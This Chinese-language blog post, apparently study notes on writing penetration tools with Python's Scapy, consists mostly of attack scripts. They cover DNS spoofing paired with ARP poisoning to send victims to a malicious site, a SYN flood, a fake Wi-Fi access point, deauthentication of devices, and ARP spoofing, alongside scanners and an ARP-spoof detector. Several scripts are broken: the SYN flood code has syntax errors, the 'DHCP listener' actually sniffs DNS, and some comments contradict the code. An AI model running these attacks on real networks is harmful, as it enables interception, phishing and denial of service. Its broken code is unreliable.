python渗透工具编写学习笔记:7、使用 Scapy 进行数据包操作

目录

前言

7.1 DNS 欺骗

7.2 DHCP 侦听器

7.3 网络扫描仪

7.4 Wi-Fi 扫描仪

7.5 SYN Flooding 

7.6 创建虚假接入点

7.7 强制设备断开连接

7.8  ARP欺骗

7.9 检测ARP欺骗

7.10 高级网络扫描仪


前言

    前篇我们简单讲到使用python的scapy模块进行数据包监听,本篇我们将扩展scapy的更多用途,利用各类数据包做出实用的工具。坚持科技向善,勿跨越法律界限。代码仅供教学目的。初出茅庐,如有错误望各位不吝赐教。

7.1 DNS 欺骗

    DNS欺骗(DNS Spoofing)是指通过篡改DNS服务器的查询结果,将用户的域名解析请求导向攻击者控制的虚假地址的一种攻击方式。攻击者可以利用DNS欺骗来进行钓鱼攻击、中间人攻击等。通过篡改DNS服务器的查询结果,攻击者能够将用户的域名解析请求导向攻击者控制的恶意网站,使用户误以为进入了正常的网站而泄露个人信息。

我们在使用 ARP 欺骗进行中间人攻击后,可以动态修改目标计算机的数据包。该程序将针对DNS响应报文,将响应域名更改为修改后的域名,将目标用户转发到恶意网站。

from scapy.all import *

# 定义ARP欺骗函数
def arp_spoof(target_ip, target_mac, gateway_ip, gateway_mac):
    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=gateway_mac)
    send(packet, verbose=False)

# 定义DNS欺骗函数
def dns_spoof(target_ip, target_mac, gateway_ip, gateway_mac, spoofed_domain):
    def dns_spoof_callback(packet):
        if packet.haslayer(DNSQR) and packet[IP].src == target_ip:
            spoofed_packet = IP(dst=packet[IP].src, src=packet[IP].dst) / \
                             UDP(dport=packet[UDP].sport, sport=packet[UDP].dport) / \
                             DNS(id=packet[DNS].id, qr=1, aa=1, qd=packet[DNS].qd,
                                 an=DNSRR(rrname=packet[DNS].qd.qname, ttl=10, rdata=spoofed_domain))
            send(spoofed_packet, verbose=False)

    sniff(filter=f"udp and dst host {target_ip}", prn=dns_spoof_callback, store=0)

# 获取目标计算机和网关的IP和MAC地址
target_ip = "目标计算机IP"
target_mac = "目标计算机MAC"
gateway_ip = "网关IP"
gateway_mac = "网关MAC"

# 执行ARP欺骗
arp_spoof(target_ip, target_mac, gateway_ip, gateway_mac)

# 执行DNS欺骗
spoofed_domain = "恶意网站域名"
dns_spoof(target_ip, target_mac, gateway_ip, gateway_mac, spoofed_domain)

7.2 DHCP 侦听器

    DHCP(动态主机配置协议)侦听是指DHCP服务器在网络上监听DHCP客户端的请求和提供IP地址的过程。DHCP服务器会接收来自客户端的广播消息,然后提供可用的IP地址、子网掩码、网关和其他网络配置信息,帮助客户端完成网络连接的配置。在DHCP侦听过程中,服务器会监听网络上的DHCP请求和广播消息,并根据配置文件和策略提供相关的网络配置信息。

我们构建了一个 Python 脚本,用于查找 DNS 请求数据包并将其打印到控制台。由于大多数网络都启用了 DHCP,因此我们将能够捕获最近连接到网络的任何设备的重要信息。

import socket

def sniff_dns_packets():
    # 创建原始套接字,监听所有的网络接口
    sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0003))

    while True:
        # 接收数据包
        packet, addr = sock.recvfrom(65535)

        # 解析以太网头部
        eth_header = packet[:14]
        eth_data = packet[14:]

        # 解析IP头部
        ip_header = eth_data[0:20]
        ip_data = eth_data[20:]

        # 解析UDP头部
        udp_header = ip_data[0:8]
        udp_data = ip_data[8:]

        # 解析DNS头部
        dns_header = udp_data[0:12]
        dns_data = udp_data[12:]

        # 打印DNS请求数据包
        print("DNS Request:")
        print("Source IP: ", socket.inet_ntoa(ip_header[12:16]))
        print("Destination IP: ", socket.inet_ntoa(ip_header[16:20]))
        print("Source Port: ", socket.ntohs(udp_header[0:2]))
        print("Destination Port: ", socket.ntohs(udp_header[2:4]))
        print("Query Name: ", dns_data[12:].decode())

sniff_dns_packets()

这里的代码就比较的简单,我们利用切片的方法解析了DNS请求数据包,之后再逐一在控制台显示出来。

7.3 网络扫描仪

    下面是一个使用Python编写的简单的网络扫描程序,它使用ARP请求来发现同一网络中连接的设备。

import os
import sys
import struct
import socket
import getopt
import fcntl
import time

def send_arp_request(interface):
    # 创建ARP请求包
    # ARP请求包由以太网帧头部 + ARP包头部组成
    # 以太网帧头部:目的MAC地址为广播地址,源MAC地址为本机MAC地址
    # ARP包头部:硬件类型为1(以太网),协议类型为0x0800(IPv4),硬件地址长度为6,协议地址长度为4,操作码为1(ARP请求),发送方MAC地址为本机MAC地址,发送方IP地址为本机IP地址,目标MAC地址全为0,目标IP地址为本机IP地址的广播地址
    hwtype = 1
    protype = 0x0800
    hwsize = 6
    prosize = 4
    opcode = 1
    src_mac = get_mac_address(interface)
    src_ip = get_ip_address(interface)
    dst_ip = socket.gethostbyname('255.255.255.255')

    # 将MAC地址和IP地址转换为二进制格式
    dst_mac = struct.pack('!6B', *[0xff, 0xff, 0xff, 0xff, 0xff, 0xff])
    src_mac = struct.pack('!6B', *[int(x, 16) for x in src_mac.split(':')])
    src_ip = socket.inet_aton(src_ip)
    dst_ip = socket.inet_aton(dst_ip)

    # 组装ARP请求包
    arp_packet = struct.pack('!HHBBH6s4s6s4s', 
        hwtype, protype, hwsize, prosize, opcode,
        src_mac, src_ip, dst_mac, dst_ip)

    # 创建原始套接字并发送ARP请求包
    s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0806))
    s.bind((interface, 0))
    s.send(arp_packet)

def get_mac_address(interface):
    # 获取指定接口的MAC地址
    try:
        with open('/sys/class/net/%s/address' % interface) as f:
            mac_address = f.read().strip()
        return mac_address
    except IOError:
        print('Error: Could not read MAC address for interface %s' % interface)
        sys.exit(1)

def get_ip_address(interface):
    # 获取指定接口的IP地址
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        ip_address = socket.inet_ntoa(fcntl.ioctl(
            sock.fileno(),
            0x8915,  # SIOCGIFADDR
            struct.pack('256s', interface[:15].encode())
        )[20:24])
        return ip_address
    except socket.error:
        print('Error: Could not read IP address for interface %s' % interface)
        sys.exit(1)

def main(interface):
    send_arp_request(interface)
    print('ARP request sent on interface %s' % interface)

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print('Usage: python network_scanner.py ')
        sys.exit(1)

    interface = sys.argv[1]
    main(interface)

使用示例:

python network_scanner.py eth0

这里上述代码保存为network_scanner.py文件,并将其中的eth0替换为目标网络接口名。然后在终端中运行上述命令即可发送ARP请求,来发现同一网络中连接的设备。注:这里需要具有管理员权限才能运行此程序。

7.4 Wi-Fi 扫描仪

   接下来我们来编写一个用于无线网络分析的工具,用于捕获和显示无线网络的数据包。下面是一个简单的示例代码,演示了如何使用 Scapy 扫描附近的 Wi-Fi 网络并显示相关的信息:

from scapy.all import *

def sniff_wifi(packet):
    if packet.haslayer(Dot11):
        if packet.type == 0 and packet.subtype == 8:  # Beacon frame
            ssid = packet.info.decode('utf-8')
            bssid = packet.addr3
            channel = int(ord(packet[Dot11Elt:3].info))
            signal_strength = -(256-ord(packet.notdecoded[-4:-3]))
            print(f"SSID: {ssid}, BSSID: {bssid}, Channel: {channel}, Signal Strength: {signal_strength} dBm")

if __name__ == "__main__":
    interface = "wlan0"  # 网络接口名称,请根据实际情况修改
    sniff(iface=interface, prn=sniff_wifi)

注:这只是一个简化版的代码示例。要使它成为更成熟的网络扫描工具还需要更多的知识。这个示例只是展示了如何使用 Scapy 扫描 Wi-Fi 网络并提取一些基本信息,如 SSID、BSSID、信道和信号。

此外,还需要确保的网络接口名称正确。在示例代码中,这里使用了 "wlan0" 作为接口名称。读者需要根据实际情况修改它。

7.5 SYN Flooding 

    SYN flooding是一种网络攻击,其目的是通过发送大量伪造的SYN包给目标主机,使其资源耗尽或无法正常工作。SYN包是TCP/IP协议中建立链接时的第一个包,而SYN flooding攻击利用了TCP三次握手的机制。

在正常的TCP三次握手过程中,客户端向服务器发送SYN包请求建立连接,服务器收到后回复一个SYN-ACK包表示接受连接,并等待客户端发送确认包,最后客户端发送确认包,连接建立成功。而在SYN flooding攻击中,攻击者发送大量伪造的SYN包给目标主机,但不会发送确认包,这样服务器就会一直等待确认包,而且每收到一个SYN包就会为其分配一些资源,最终导致服务器资源耗尽,无法继续响应其他正常的请求。我们来编写一个SYN Flooding 攻击的简单脚本

import random
import scapy.all import *
def synFlood(tgt,dPort):
    List = ['203.1.1.2','11.1.1.102','112.24.9.19']
from sPort in range(1-24,65535):
    index = random.randrange(4)
    ipLayer = IP(stc = List[index].dst = tgt)
    tcoLayer = TCP(sport = sPort,dport = dPort,flags = "S")
    packet = ipLayer/tcpLayer
    send(packet)

为了防止SYN flooding攻击,服务器可以采取一些措施,如设置防火墙规则来限制访问频率,使用SYN cookies来防止资源耗尽等。网络管理员也可以监控网络流量,及时发现和应对可能的攻击。

7.6 创建虚假接入点

    创建虚假接入点是指恶意的互联网攻击行为,通过伪装成合法的Wi-Fi接入点,诱使用户连接并输入敏感信息,从而窃取用户的个人信息、账号密码、信用卡信息等。攻击者可以利用这些信息进行钓鱼攻击、身份盗窃、金融欺诈等恶意行为。

创建虚假接入点通常是通过使用专门设备、软件或者利用公共Wi-Fi等方式实施。用户在连接到虚假接入点后,其所有的网络流量都会经过攻击者的控制,使攻击者能够监视、篡改或者截取用户的通信数据。以下是简单示例:

from scapy.all import *

# 构建一个802.11信标帧
beacon = Dot11Beacon()

# 构建一个SSID元素,用于指定接入点的名称
ssid = Dot11Elt(ID='SSID', info='FakeAP')

# 构建一个帧体,将信标帧和SSID元素组合在一起
frame = RadioTap() / beacon / ssid

# 设置发送间隔和发送次数
interval = 0.1  # 发送间隔为0.1秒
count = 10  # 发送10次

# 使用sendp()函数连续发送信标帧
sendp(frame, inter=interval, count=count, iface='wlan0mon', loop=1)

7.7 强制设备断开连接

     强制设备断开连接是指迫使特定设备与其所连接的网络、设备或系统之间的连接断开。这种断开连接的行为可能是出于安全、管理或其他目的,可以阻止设备继续访问网络或系统资源。我们利用mac中的取消身份验证帧来实现:

from scapy.all import *

# 定义发送取消身份验证帧的函数
def send_deauth_frame(target_mac, ap_mac):
    # 构建取消身份验证帧
    deauth_frame = RadioTap() / Dot11(addr1=target_mac, addr2=ap_mac, addr3=ap_mac) / Dot11Deauth()

    # 发送取消身份验证帧
    sendp(deauth_frame, iface="wlan0", count=10, inter=0.1)

# 设置目标设备的MAC地址和接入点的MAC地址
target_mac = "00:11:22:33:44:55"
ap_mac = "AA:BB:CC:DD:EE:FF"

# 调用函数发送取消身份验证帧
send_deauth_frame(target_mac, ap_mac)

7.8  ARP欺骗

    ARP欺骗攻击(ARP spoofing attack)是一种网络攻击技术,它利用了ARP(地址解析协议)的缺陷,伪造网络设备的MAC地址,以达到窃取数据、中断网络连接或者进行其他恶意活动的目的。下面是一个用Python实现ARP欺骗攻击的简单示例:

import os
import sys
import time
from scapy.all import Ether, ARP, sendp

def arp_spoof(target_ip, gateway_ip, interface):
    # 构造ARP响应数据包,将目标IP地址指向网关的MAC地址
    packet = Ether()/ARP(op="who-has", hwsrc="00:00:00:00:00:01", psrc=gateway_ip, pdst=target_ip)

    try:
        while True:
            # 发送ARP响应数据包
            sendp(packet, iface=interface)
            time.sleep(1)
    except KeyboardInterrupt:
        print("\nARP欺骗攻击停止")

if __name__ == '__main__':
    if len(sys.argv) != 4:
        print("用法: python arp_spoof.py <目标IP地址> <网关IP地址> <网络接口>")
        sys.exit(1)

    target_ip = sys.argv[1]
    gateway_ip = sys.argv[2]
    interface = sys.argv[3]

    arp_spoof(target_ip, gateway_ip, interface)

注:这只是一个简单的示例,实际的ARP欺骗攻击可能涉及更复杂的技术和网络配置。使用这个代码的前提是你已经了解ARP协议和网络安全概念,并且仅在合法和授权的测试环境中使用。

7.9 检测ARP欺骗

    检测 ARP 欺骗攻击的方法有许多,这里我们使用网络流量分析的方法,可以监测网络中的ARP活动,并分析网络流量中的ARP请求和回应。通过分析ARP数据包的源和目的MAC地址、源和目的IP地址等信息,可以判断是否存在ARP欺骗攻击。我们来看一个使用Python来检测ARP欺骗攻击的示例代码:

import scapy.all as scapy
import time

def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    ether = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    packet = ether/arp_request
    result = scapy.srp(packet, timeout=1, verbose=False)[0]
    
    return result[0][1].hwsrc

def arp_spoof_detect(target_ip, spoofed_ip):
    target_mac = get_mac(target_ip)
    spoofed_mac = get_mac(spoofed_ip)
    
    if target_mac != spoofed_mac:
        print("[+] ARP spoofing detected!")
    else:
        print("[+] No ARP spoofing detected.")

target_ip = "192.168.1.100"  # 受攻击的主机IP地址
spoofed_ip = "192.168.1.1"  # 欺骗者IP地址

while True:
    arp_spoof_detect(target_ip, spoofed_ip)
    time.sleep(2)

以上代码中,get_mac函数用于获取指定IP地址对应的MAC地址,arp_spoof_detect函数用于检测ARP欺骗攻击。在主循环中,每隔2秒钟调用一次arp_spoof_detect函数来检测是否存在ARP欺骗攻击。

7.10 高级网络扫描仪

    最后,我们来构建一个高级网络扫描仪,含有被动监控、ARP 扫描、UDP 扫描和 ICMP 扫描和DHCP侦听器。构建一个高级网络扫描仪,我们可以使用Python的socket、scapy和python-arpreq库来进行编写。下面是一个简单的示例:

import socket
from scapy.all import sr1, ARP, Ether, IP, UDP, ICMP
from arpreq import arpreq

# 被动监控器
def passive_monitoring(interface):
    s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
    s.bind((interface, 0))

    while True:
        packet = s.recvfrom(2048)
        ethernet_frame = packet[0]
        # 处理接收到的数据包

# ARP扫描
def arp_scan(ip_range):
    for ip in ip_range:
        mac = arpreq(ip)
        if mac:
            print(f'IP: {ip}\tMAC: {mac}')
        else:
            print(f'IP: {ip}\tMAC: Not found')

# UDP扫描
def udp_scan(ip, port):
    src_port = 12345
    udp_pkt = IP(dst=ip) / UDP(sport=src_port, dport=port)
    response = sr1(udp_pkt, timeout=2)
    
    if response is None:
        print(f'UDP port {port} on {ip} is open')
    else:
        print(f'UDP port {port} on {ip} is closed')

# ICMP扫描
def icmp_scan(ip):
    icmp_pkt = IP(dst=ip) / ICMP()
    response = sr1(icmp_pkt, timeout=2)
    
    if response is None:
        print(f'ICMP on {ip} is open')
    else:
        print(f'ICMP on {ip} is closed')

# DHCP侦听器
def dhcp_listener(interface):
    s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
    s.bind((interface, 0))

    while True:
        packet = s.recvfrom(2048)
        ethernet_frame = packet[0]
        # 处理接收到的DHCP数据包

# 测试代码
if __name__ == '__main__':
    # 被动监控
    # passive_monitoring('eth0')

    # ARP扫描
    # arp_scan(['192.168.0.1', '192.168.0.2', '192.168.0.3'])

    # UDP扫描
    # udp_scan('192.168.0.1', 80)

    # ICMP扫描
    # icmp_scan('192.168.0.1')

    # DHCP侦听器
    # dhcp_listener('eth0')

注:这里可以根据读者的需求进行修改和扩展。另外,某些扫描活动可能需要在root权限或管理员权限下运行。

 到这里就是今天的全部内容了,下一篇我们将学习如何在web渗透的每一步编写对应的工具。如有帮助,不胜荣幸。

你可能感兴趣的:(学习,笔记,python,网络,网络安全)